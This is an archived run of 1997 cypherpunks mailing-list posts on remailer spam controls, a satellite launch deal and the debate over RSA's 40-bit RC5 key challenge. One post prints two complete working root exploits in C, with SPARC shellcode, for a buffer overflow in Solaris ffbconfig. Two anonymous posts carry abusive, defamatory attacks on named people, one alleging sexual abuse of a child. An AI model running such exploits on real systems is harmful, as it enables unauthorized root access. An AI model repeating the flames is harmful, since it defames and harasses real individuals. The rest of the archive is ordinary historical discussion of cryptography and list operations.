Most remailers have some basic spam safeguards, typically
how many messages per day or per session or whatever.
They also implement blocking on specific source or destinations,
which makes it easier to stop known spam sources and reduce
hassle for people who don't want to be spammed.

Limited number of posts per source or per destination are less useful,
since people use chained remailers - most messages will have a
remailer as either the source, destination, or both,
so it's fairly common to have lots of messages from one source.

Mass crossposts aren't all that bad; if you're running a decent
newsreader you'll only see that kind of spam once.  The bad ones are
multiple identical or nearly-identical messages posted to one or
a few newsgroups each, which are harder to detect and much more 
annoying to the reader.  On the other hand, NoCeMs can catch them,
if anybody's sending and using them.

I don't know how many people have the capability to block on Subject:
or message content; I remember getting bouncemails for things that
had variants on M AK E  M O N E Y  F A S T in them, so there are or were
other remailers that block those.

It's hard to find a good definition of spam, and hard to implement it
without keeping lots of extra records you'd probably rather not keep,
and spammers who are willing to do work can find out your limits,
especially if they're in a policy document somewhere, and evade them,
sending as much through each remailer as fits under the radar.
Fortunately, most spammers don't bother.

Back when I was running a remailer, it was a modified Ghio2 version;
I'd fixed some bugs in it, and took the spam detector behavior from
highly rude (shutting itself down quietly) to mildly rude (shutting
itself down noisily); the basic model was to stop entirely under
big spam attacks and let a human fix it up, rather than trying to resolve
them subtlely, which is more appropriate for small spamming.
The advantage of this approach is that you don't have mysterious
message losses; it's all or nothing.  (Well, you still get some 
mysterious losses, but mostly from bugs or interactions with
other types of remailers.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 10 Feb 1997 16:29:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Teledesic Looks At SS-18's
Message-ID: <v03007829af256ac40157@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: investor@LunaCity.com
To: "Space Investors Mailing List" <space-investors@LunaCity.com>
From: Michael_Wallis@sec.sel.sony.com
Reply-To: "Space Investors Mailing List" <space-investors@LunaCity.com>
Date: Mon, 10 Feb 1997 11:59:44 -0800
Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA
Subject: Teledesic Looks At SS-18's
X-Mailserver: Waffle File Server (WFS), Release 3.2.ag
X-Article: 285

Teledesic Might Launch With Converted SS-18s

Teledesic Corp. is talking with a newly formed Russian-Ukrainian
group about launching up to 204 Teledesic satellites into low Earth
orbit aboard converted SS-18 missiles.

The Dnepr rocket is backed by the Russian and Ukrainian governments.
Their space agencies are partners in a joint-venture company to sell
commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye
State Design Bureau are marketing the Dnepr. Teledesic, a U.S.
telecommunications company, plans to place about 900 satellites in
space.

        Michael

-------------------------------------------------------------------------
Michael Wallis, Computer Consultant     Work: mwallis@sec.sel.sony.com
http: //www.wallis.com/                 Home: mwallis@wallis.com

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Mon, 10 Feb 1997 09:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security hole in Sloaris 2.X ffbconfig + exploit
Message-ID: <Pine.GSO.3.95.970210192433.1304G-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



Mon Feb 10 15:58 EET 1997 Romania  

"Buffer Overflow" rules.

I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow  you
to gain root access on your machine. I used an exploit written by Jeremy Elson
for gethostbyname() buffer overflow hole (I modified some values to make this 
work).   

I dont now yet what in ffbconfig is wrong but Im still diging. So more 
detailes later.

Here's the exploit for Solaris 2.X:


---------------------------------- first  ------------------------------------- 
/*
This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------ end of "ffbcexp25.c"  --------------------------------

-------------------------------- second --------------------------------------

/*
This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      128
#define EXTRA           256
#define STACK_OFFSET    128
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),so;

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;
  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);

  execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
  perror("execl failed");
}

------------------------------ end of ffbcexp24.c -----------------------------

Cristian Schipor - Computer Science Faculty  - Romania -  Bucharest 
Email: skipo@math.pub.ro or skipo@ns.ima.ro
Phone: (401) 410.60.88


PS: "special for STFP"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 10 Feb 1997 19:26:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: 40-bit encryption keys
Message-ID: <199702110326.TAA08826@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Derogatory L[oathe] Vilus K[ankersore] Of The Minute will fuck
anything that moves, but he'd rather be fucking his own daughter's
prepubescent body.

          \
         o/\_ Derogatory L[oathe] Vilus K[ankersore] Of The Minute
        <\__,\
         '\,  |






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 10 Feb 1997 19:51:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: ping
Message-ID: <3.0.32.19970210195254.006cb21c@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


ping


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Feb 1997 17:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: BCQ B/\ACTb COBKAM!!!
In-Reply-To: <19970210204708.13811.qmail@squirrel.owl.de>
Message-ID: <R2sX2D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel <nobody@squirrel.owl.de> writes:

> COBKU rule!!!
     _
HA XYU COBKOB!!!

Lying cocksucker John Gilmore sodomizes waterfowl.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 10 Feb 1997 11:45:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702101916.UAA27175@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


[Excerpts from Winn Schwartau's  2/9 "InfoWar Digest," with responses to
Paul Strassmann's diatribe on the RSADS Secret-Key Challenge.  Burt
Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two
bits. Longish.

[FYI: RSADS still has 12 open Challenges pending, offering cash rewards for
anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5
cyphertext samples, encrypted with keys of varied lengths, ranging from
48-bit through 128-bits. Details somewhere on the RSA site:
<http://www.rsa.com> ]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From: Burt Kaliski <burt@RSA.COM>
To: "'infowar@infowar.com'" <infowar@infowar.com>
Subject: Further to Goldberg's Cracking Accomplishments
Date: Wed, 5 Feb 1997 13:58:53 -0800

Paul A. Strassmann <paul@strassmann.com> quoted a UC Berkeley press
release on Ian Goldberg's successful effort to discover the unknown 40-bit
key to an RC5 ciphertext offered in the RSA Data Security Secret-Key
Challenge, and raised a number of justifiable concerns about whether a
contest like the Challenge is an appropriate measure of the security of a
40-bit encryption algorithm in an InfoWar environment.

>>As I suspected (see earlier private comment), the
>>highly promoted RSA cracking contest offered
>>a number of clues that ordinarly would not be
>>volunteered by info-terrorists or info-criminals to
>>IW Defense teams.
>>
>>These clues made the cracking significantly easier,
>>because it made it possible to eliminate an enormous
>>range of possible searches.

Mr. Strassmann is a well known scholar of the InfoWar threat environment. I
am not, so I cannot address those specific concerns directly -- but I would
like to offer some rationale as to why the Challenge was structured as it
was.

The RSA Data Security Secret-Key Challenge
<http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open
contest sponsored by RSA Laboratories that offers cash prizes for the
successful recovery of encryption keys for the DES and RC5 block ciphers.
Following the model of the RSA Factoring Challenge which for several years
has provided an assessment of the security of the RSA public-key algorithm
at various key sizes, the Secret-Key Challenge is intended to measure of
the security of secret-key algorithms at various key sizes.

As was the case with the Factoring Challenge, full details of the algorithms
and key sizes are provided. In addition, three plaintext-ciphertext pairs
(the ciphertext encrypted with the key of interest) are provided for each key
to be recovered.

Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was
recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort
involved about 250 workstations and took 3.5 hours.  When I called Mr.
Goldberg to congratulate him in a teleconference during the RSA Data
Security Conference last week, he explained that he had discovered the
valid key with a search of about 350 billion keys, using a university
computer network to search at a rate of 100 billion keys/hour.

There are about 1 trillion 40-bit keys, for any algorithm. Mr.
Goldberg's search method involved simple brute-force; that is, the known
plaintext was encrypted with each key, and then compared to the available
ciphertext, looking for a match.

The overall effort was essentially what was expected for the 40-bit key size,
and as one would expect, the recovery of a key for the other RC5 key sizes
(from 48 bits to 128 bit), or for DES (56 bits), will involve much more work.
With the same "brute force" method employed by Mr. Goldberg last week, one
would expect a 256-fold increase in effort for each eight-bit increase in
key size. Special-purpose hardware may reduce the actual time, of course,
but the total number of possible keys to be tested will grow at that rate.

Mr. Strassman expressed concern as to whether the successful recovery of
a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit
keys in an InfoWar environment, where full details of the algorithm and
plaintext blocks are not necessarily known. Again, not being acquainted
with the threat environment, I cannot address his concerns directly.
Nevertheless, RSA Laboratories does consider this type of contest to be
appropriate as a general measure of cryptographic strength -- for RSA's
products and those of any other vendor in the international crytographic
community.

The information provided to RSA Secret-Key Challenge contestants is no more
than is common and conventional for any open contest to test the strength
of a cryptographic algorithm. These conventions have evolved within the
international community of cryptographers seeking, on the basis of several
acknowledged principles, to develop common criteria for measuring the
relative strength or security of any particular cryptographic algorithm
with a given key size. Our rationale for the structure of the Challenge is
reflected in the following observations:

* Knowledge of the algorithm and key size (as per Kerchoffs' principle), as
well as the availability of known plaintext, are standard assumptions in
modern cryptanalysis. Since an opponent may obtain this information
eventually, it is preferable not to rely on its secrecy when assessing
cryptographic strength.

* The implementation of large-scale key-search engines is simplified under
the standard assumptions. This makes the contest accessible to a wider
variety of contributors, than if we required contributors to know, for
instance, a particular language, or language statistics, or other
characteristics of the plaintext. (Perhaps another challenge where we didn't
provide plaintext samples would be a worthwhile follow-up.)

* In practice -- even if the plaintext is not known -- significant
information about it is likely to be, such as character distributions (ASCII,
English), header values (e.g., BER tag and length), or padding.  The cost (in
time, effort, and computing resources) of a key search with even a small
amount of information of this kind is not significantly more than the cost
with known plaintext.

For instance, if it is known that the characters are represented in ASCII,
for instance, then one can decrypt available ciphertext with each key and
check that the recovered plaintext follows ASCII conventions (most
significant bit of each byte 0). The chance that an incorrect key produces
plaintext that passes the test is 1/2^k where k is the number of plaintext
bytes recovered. This means, for example, that of 2^40 keys tried, we expect
only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must
then be tested further against other ciphertext blocks.

So instead of 2^40 encryptions -- as in the case when the plaintext is known
--  a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1
(roughly) keys, to find the correct key. But this represents an increase in
effort of less than 0.5 percent.

RSA Laboratories appreciates the InfoWar Community's interest in the RSA
Data Security Secret-Key Challenge, and Mr. Strassmann's comments in
particular. We look forward to further suggestions and critiques of our
efforts.

-- Burt Kaliski
>Chief Scientist
>RSA Laboratories
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Date: Mon, 3 Feb 1997 21:42:24 -0800
To: infowar@infowar.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg

I seldom read your newsletter carefully. I did tonight, and discovered two
of the items you included contain serious errors.

(Of course, as a strong advocate of "infowar" I suppose I'm pleased to see
your subscribers in the government misled by these errors...it makes our
job a little easier in the long run.)

>To: infowar@infowar.com
>From: Patrick Galley <Patrick.Galley@studi.epfl.ch
>Subject: New crypto attack
>Date: Mon, 27 Jan 1997 07:56:39 +0000
>
>Hello
>
>A friend of mine told me to look at the WWW site "John Douglass'
>CryptoMaverick Page").
>
>There I've found a paper from John Douglass which says that if RSA
>products are sold worldwide it because there is a backdoor inside. He
>said the same thing for DES and PGP.
.....
>If this guy is right. It would be better for is security that everybody
>knows the truth.
>
>I think it would be nice if you could look at this doc and talk about it
>in infowar.com.

I looked at the site and it's a mixture of conspiracy theory rantings and
misinformation.

As to the security of various RSA algorithms (and PGP, for example), the
security of many of these algorithms lies in the publishing of the source
code, with digital signatures on the released binaries to allow independent
verification.

If a real security hole is found in, say, PGP or Netscape, expect it to be
publicized loudly and quickly. (Indeed, certain flaws have been found, and
quickly publicized. The same Ian Goldberg involved in later message was one
of those who isolated a flaw in the random number generator used in an
earlier version of Netscape.)

The web site mentioned here doesn't cut it, and this message here is just
more "disinformation" (itself a part of infowar, so I guess the author is
practicing his skills).

>Date: Thu, 30 Jan 1997 20:10:36 -0500
>To: "Wright Larry" <Wright_Larry@bah.com>
>From: "Paul A. Strassmann" <paul@strassmann.com>
>Subject: Further to Goldberg's Cracking Accomplishments
>Gentlemen:
>
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.

Paul Strassmann is simply missing the central point of cracking the 40-bit
export-allowed version. It is not based on a known plaintext attack, but on
exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues
who contributed CPU time on the "NOW" (Network of Workstations) did was to
search approximately 100 billion keys per hour. As there are about a
trillion keys in the 40-bit keyspace, it was a foregone conclusion they
would find the key within 10 hours (modulo any screwups at their end), with
about half the time being the most likely time. As it was, they found the
key a tad bit early, by the luck of the draw (so to speak).

RSA certainly knows how long it takes to brute force the keyspace. They
just didn't know who would find the key first. (And at least one other
group reported a solution within minutes of Goldberg's report.)

So, Paul is simply throwing disinformation--or lack of understanding--into
the air by claiming that this crack does not mean a 40-bit key is "weak."
Simply put, it is. Anyone who looks at the math understands this. The
keyspace is simply too small for real security.

(Does the NSA use 40-bit keys? Of course not. Hmmmhhh.)

As the select panel of cryptographers empaneled to study key lengths
concluded, 56 bits is already too weak, 80 bits is better and should be
adopted forthwith for export, and >96 bits is preferable.

As an "infowarrior" of sorts myself, I can assure you that we don't give a
hoot in hell what the regs say is "allowed." When any tourist on his way to
Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he
wishes, with absolutely no "exit checks," who really cares what the "export
laws" allow?

(I carried 5 gigabytes of data, some of it crypto-related, to a meeting
with cryptographers and crypto anarchists in Monte Carlo a while back.
Obviously I was not searched or even glanced at on my way out, nor on my
arrival at Charles de Gaulle airport, etc. Only upon my return to San
Francisco was I asked what my business had been. The Customs Officer gave
me a blank look when I told him I was meeting with cryptographers in Monte
Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He
had no idea what I was talking about, and was bored. He then asked me if I
was bringing back any stuff I bought in shops over there. "No," I told him.
He just waved me through.)

Not to mention the ease with which stuff is shipped out over the Internet.
(I made a bet a couple of years ago that each major new cipher would arrive
at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers
make it so easy to bounce stuff around.)

And of course I was the one in 1988 who first proposed the now-popular
method of using the least significant bits (LSBs) of CDs and DATs filled
with music, and LSBs of GIF images, to transparently export megabytes of
data undetectably. (To any sniffers, the LSBs are formally and
statistically identical to the ordinary noise of microphones and recording
electronics.) A normal 2-hour DAT tape of a recording I made off the radio
or off of one of my CDs can carry 160 megabytes of "data" riding in just
the LSBs alone. That's equivalent to 16 copies of the Bible, or a
significant chunk of the B-2 Stealth bomber CAD database.

I'd like to see your list get involved in more accurate and less
scare-mongering discussions.

--Tim May
Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST)
From: "Craig H. Rowland" <crowland@psionic.com>
To: "Betty G. O'Hearn" <betty@infowar.com>
Subject: RSA

> Date: Thu, 30 Jan 1997 20:10:36 -0500
> To: "Wright Larry" <Wright_Larry@bah.com>
> From: "Paul A. Strassmann" <paul@strassmann.com>
> Subject: Further to Goldberg's Cracking Accomplishments
> Gentlemen:
>
> As I suspected (see earlier private comment), the
> highly promoted RSA cracking contest offered
> a number of clues that ordinarly would not be
> volunteered by  info-terrorists or info-criminals to
> IW Defense teams.
>
> These clues made the cracking significantly easier,
> because it made it possible to eliminate an enormous
> range of possible searches.

You are talking about implementing security through obscurity. You can
never assume that an enemy does not know what security precautions are in
place to protect information, or in this case, what cipher
you have chosen to protect your data. The security of your in-place
mechanisms should be able to stand on their own merits under a worst
case scenario of full public disclosure.

>
> The following was extracted verbatim from the
> <The RSA Data Security Secret-Key Challenge>
> posted on <http://www.rsa.com/rsalabs/97challenge/>:
>
> Clue #1:
>
>   " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> will use
>    12-round RC5 with a 32-bit word size. "
>
> Clue #2:
>
>   " ...The first RC5 contest will consist of some unknown plaintext
> encrypted using a 40-bit key;."
>
> Clue #3: (a  giveway!)
>
>  " ... For each contest, the unknown plaintext message is preceded by three
>    known blocks of text that contain the 24-character phrase "The
>    unknown message is:  .....".

Let me address 1, 2, and 3 all together as they all suffer
from the same flaw in logic as discussed above.

First, the ciphers in this contest includes more than RC5, the main
point of the contest is not to illustrate the security of a particular
cipher from cryptanalytic attack, but rather to show that key lengths that
are too short are insecure against a brute force attack. The fact that the
cipher is known does not affect the overall purpose of the contest.

Second, you are again assuming the cipher is unknown by your enemy.
Suppose you are a financial institution, I can be almost 100% assured that
your communications are protected with DES as the cipher. If I can
discover what equipment you are using and what modes the cipher runs in
(CBC, ECB, etc) I can then attempt a similiar brute-force attack using
the widely available DES specifications. Commercial organizations using
exportable software systems suffer the same fate. You are also assuming
that a mathmatical analysis of the encrypted data stream will not reveal
what cipher is being used. Various statistical attacks could reveal key
pieces of information that could quickly unveil what cipher you are using
and what mode it is being run in.

Third, just because part of a message is known does not mean the contest
is invalid. Many network communication protocols use a fixed set of
characters to establish and end communication sessions. An attacker, aware
of how the protocols work, can often discern what a message may contain
when it is initiated. An example of this could include SMTP traffic which
includes a standard set of protocol keywords, or an electronic funds
transfer which includes unique bank identification numbers or other
similar data. This is called a known plaintext attack and is very common.

>
> In summary: The claim of exportable cryptography being totally
> insecure, because it can be cracked in 3.5 hours is not
> realistic. The three clues announced in the contest
> would not apply  under infowar conditions.

Again, this is not correct. You are assuming total ignorance by the enemy
which is rarely the case.

>
> What other clues may have been provided to Goldberg
> to  support private agendas and gain shrill headlines
> is also a matter of speculation, but I rest my case.

Why does one even need a "clue" about this key size? It should be obvious
to anyone remotely educated/interested in the field of cryptography that
the reason the NSA limits exportable key length to 40 bits or less to
begin with is so they can do the same thing at Ft. Meade on their
internal computers that was done here publically.

The whole debate over exportable encryption rarely rests on the cipher,
but rather on the *length* of the keys used. This *alone* should be enough
to convince the reader that key length is in fact a very vital issue for
both the NSA and the Internet community.

> I certainly cannot assert that a 40 bit key cannot be decyphered.
> However, I do not think that the RSA unqualified claims
> offer full and appropriate disclosure.

Nonsense..RSA sells cipher technology that uses both 40 bit encryption and
higher, they make their money either way...their only bias in this area is
that they have their exportable software crippled in such a way as to make
it useless to foreign buyers. Luckily companies in Finland, Switzerland,
and Germany are starting to take up the slack and provide strong
cryptographic products of their own.

-- Craig

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST)
To: infowar@infowar.com
From: Bob Stratton <strat@wheelgroup.com>
Subject: RSA's Challenge Claims and the Real World


In Infowar Digest Volume 02, Number 04, Paul Strassman writes:

>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.
>
>What other clues may have been provided to Goldberg
>to  support private agendas and gain shrill headlines
>is also a matter of speculation, but I rest my case.
>
>I certainly cannot assert that a 40 bit key cannot be decyphered.
>However, I do not think that the RSA unqualified claims
>offer full and appropriate disclosure.

I feel compelled to respectfully submit what may be considered a rebuttal.
In general, I tend to dismiss claims of anything being "totally" anything,
but in this particular instance, I think further discussion may be warranted.

I admit to being a little surprised by this tack on the part of RSA. RSA
Labs (the research side of that house) has earned my respect over time by
doing serious cryptological work and publishing it in a thoughtful, academic
manner worthy of note.

The histrionics of press releases notwithstanding, I think these comments
merit further examination:

I may concede that the "three clues...would not apply under infowar
conditions". In doing so, I must also ask for further clarification as to
exactly which infowar Mr.Strassman is referring. Given this forum's
consideration of the national security implications of attack on the
financial infrastructure, it seems a fair question.

In any event, I question whether this is relevant within the context of the
challenge, and the purposes behind it. RSA's purpose in posting this
challenge was presumably to enlighten the public and others as to the
_relative_ strength of currently exportable cryptosystems.

I have no doubt that the agenda behind this is to encourage resistance to
current U.S. policies on cryptographic export, a stance designed to maximize
share value in what is admittedly a commercial venture. I'm also willing to
note that I have a general distaste for INFOSEC "challenges" of any sort.

I would, however, like to explore the assertion that the clues posted in the
challenge were not offered in the spirit of full and fair disclosure. I will
concede in any case that this was not an exhaustive, controlled study.
"Challenges" such as these have a place. Within the INFOSEC environment,
cryptanalytic attack appears to be one of the more reasonable areas for them.

Compared to "challenges" against network "firewalls", for example,
cryptanalysis is an area where there is the opportunity to adequately define
the goal and to measure the result. In this case, RSA was not attempting to
prove a negative, as have so many (too many) other firms offering so-called
"challenges".

If we restrict our focus for purposes of argument to commercially available
cryptographic software, the clues become significantly less onerous and
mysterious.

Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is
certainly the most arcane of the lot. Speaking as a former commercial
software developer, I would be quite surprised if vendors would not
routinely disclose information of this sort. Certainly vendors using
standard algorithms would tend to be more willing to do so than those using
proprietary ones, which only bolsters my later arguments, as you will see
below.

If we may depart for just a moment to other algorithms, almost any
_standard_ implementation of an algorithm which is interoperable with other
implementations would, by definition, disclose or facilitate disclosure of
this sort of information, by its very nature. Again, in a commercial
environment, interoperability is key (no pun intended), so it's likely that
implementation details are either available, or readily deducible.

Clue 2, the disclosure of key size, again meets the standards just
discussed. In the case of products recently exportable from the U.S., one of
two things is generally true. Either the key size is actually 40 bits, or
the key size is larger than 40 bits, but steps are taken to make all key
information beyond 40 bits accessible to observers of the tool. Again, in a
commercial environment, this is no secret.

Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman.
Disclosure of known plaintext, in this case the phrase "The unknown message
is:" is certainly quite serious in that it may significantly aid
cryptanalytic attack. My only comment here is that in the commercial arena,
interoperability demands standards, and standards define consistent
protocols. Those protocols will almost always result in some manner of
reproducible content, most readily exemplified by message headers in
electronic mail systems. While mechanisms exist for enhanced cryptographic
protection of said content, in general the commercial environment has lagged
behind the military, and perhaps rightly so.

In none of the aforementioned cases, however, do I see information that
fundamentally invalidates the significance of RSA's Challenge TO THE
CIVILIAN  COMMERCIAL INFOSEC COMMUNITY. That community has serious, current
INFOSEC needs, and one must question (as I know many of us do every day) to
what degree we're willing to lay our economic fabric open to subversion in
order to lessen the cost of intelligence collection.

--Bob Stratton
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security"
<PADGETT@hobbes.orl.mmc.com>
To:   infowar@infowar.com
Subject: RSA challenge

Paul rote:
>As I suspected (see earlier private comment), the
>highly promoted RSA cracking contest offered
>a number of clues that ordinarly would not be
>volunteered by  info-terrorists or info-criminals to
>IW Defense teams.
...
>Clue #3: (a  giveway!)

> " ... For each contest, the unknown plaintext message is preceded by three
>   known blocks of text that contain the 24-character phrase "The
>   unknown message is:  .....".

Those who follow my hobby may have noticed that about two years ago I began
using the "3.5 hour" figure to assign a maximun value of $250 to any
information sent via a 40 bit code. The advent of multiple parallel machines
(via networks) capable of operating entirely out of L1 cache just made
the technology available.

However, such attacks do rely on known plain text for speed (final test
is a simple XOR/alarm if zero. The same technology was used in Colossis
back in 1944. It was just a touch slower.

The simle answer is message compression prior to encryption which would
make deciding when the message was broken much more difficult.

Naysayers claim "there is always KPT" but this does not need to be true.
- whole months of Enigma traffic went undecoded because there was no
crib available but eventually human error gave the BP team a clue. Today,
electronic systems can remove such errors from human hands.

Personally believe that 56 bits is "good enough" today though it makes
little sense from a programming standpoint not to use 64 *so long as
a different key is used for every message and every message, no matter
how trivial, is encrypted*.

Or you could use a "shared secret" book code: a simple XOR with a
digital satellite data stream transmitting compressed video should
do nicely. All that is needed is to know which stream and when to
start. I call that an "unwitting key provider".

So as Paul says, the contest proves little except to confirm my 3.5
hour estimate (remember the gentleman in France who broke the 40 bit
NS code last year and what his time was...) - but that was for equipment
available several years ago.

Today I use the figure of one gig kps (keys per second) for 1997 equipment
per seive. A single one would break 40 bits in an average of under 10 min.
DES would fall in a day to 400 in parallel. But the question remains:
without KPT, how can you tell when the break occured ? Is a world of
difference between an XOR and decompression. And if every message uses a
differnt key...

					Warmly,
						Padgett

ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/
   under "Anti-Virus hobby". FreeWare.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
